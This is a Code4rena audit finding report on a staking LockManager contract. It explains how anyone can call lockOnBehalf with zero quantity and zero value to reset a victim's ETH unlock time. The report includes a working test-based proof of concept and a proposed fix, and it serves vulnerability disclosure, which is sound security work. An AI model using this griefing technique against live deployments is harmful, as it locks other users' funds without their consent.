Platform: Code4rena
Start Date: 22/05/2024
Pot Size: $20,000 USDC
Total HM: 6
Participants: 126
Period: 5 days
Judge: 0xsomeone
Total Solo HM: 1
Id: 379
League: ETH
Rank: 69/126
Findings: 1
Award: $0.01
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Circolors
Also found by: 0rpse, 0x175, 0xAadi, 0xHash, 0xMax1mus, 0xMosh, 0xblack_bird, 0xdice91, 0xfox, 0xhacksmithh, 0xloscar01, 0xrex, 4rdiii, Audinarey, AvantGard, Bigsam, DPS, Dots, Drynooo, Dudex_2004, Evo, Kaysoft, King_, Limbooo, MrPotatoMagic, PENGUN, Sabit, SovaSlava, SpicyMeatball, TheFabled, Utsav, Varun_05, Walter, adam-idarrha, araj, aslanbek, ayden, bctester, biakia, bigtone, brgltd, carrotsmuggler, cats, crypticdefense, dd0x7e8, dhank, fandonov, fyamf, grearlake, iamandreiski, ilchovski, jasonxiale, joaovwfreire, lanrebayode77, m4ttm, merlinboii, niser93, nnez, octeezy, oxchsyston, pamprikrumplikas, rouhsamad, tedox, trachev, turvy_fuzz, twcctop, yotov721, zhaojohnson
0.0056 USDC - $0.01
When calling LockManager::lockOnBehalf
with _tokenContract
as address(0)
, _quantity
as 0
, _onBehalfOf
as their target victim and sending zero value they can effectively increase the unlockTime
for the locked ETH that the victim has locked since the LockManager::_lock
function always increses the unlocktime:
lockedToken.unlockTime = uint32(block.timestamp) + uint32(_lockDuration);
Only cost for the attacker would be the gas spent to perform this action.
To verify this I added a test on the lock.test.ts
file at line 383 to verify that any user can increse this unlock time:
it("should lock token for other player without sending funds", async () => { const { request: request1 } = await testContracts.lockManager.contract.simulate.lockOnBehalf( [zeroAddress, parseEther("1"), alice], { account: bob, value: parseEther("1") } ); const txHash1 = await testClient.writeContract(request1); const { request } = await testContracts.lockManager.contract.simulate.lockOnBehalf( [zeroAddress, 0, alice], { account: janice, value: 0 } ); const txHash = await testClient.writeContract(request); const txReceipt = await assertTxSuccess({ txHash }); const lockedTokens = await testContracts.lockManager.contract.read.getLocked([alice]); assert(lockedTokens instanceof Array); const lockedToken = lockedTokens.find((t) => t.tokenContract === zeroAddress); assert.ok(lockedToken); const txBlock = await testClient.getBlock({ blockHash: txReceipt.blockHash, }); assert.equal(lockedToken.lockedToken.lastLockTime, Number(txBlock.timestamp)); assert.equal(lockedToken.lockedToken.unlockTime, Number(txBlock.timestamp + lockDuration)); });
The test passes, indication that the new unlocktime for user's "alice" ETH was reset by user "janice" while not spending any ETH except for gas in the process.
Manual review + node tests
Validate that the quantity sent is greater than zero or greater than a specified amount when ETH is being sent. Or create a way to only let certain users lock on behalf of other users. This mitigation will depend on how the project devs want their protocol to work.
Invalid Validation
#0 - c4-judge
2024-06-05T12:58:19Z
alex-ppg marked the issue as satisfactory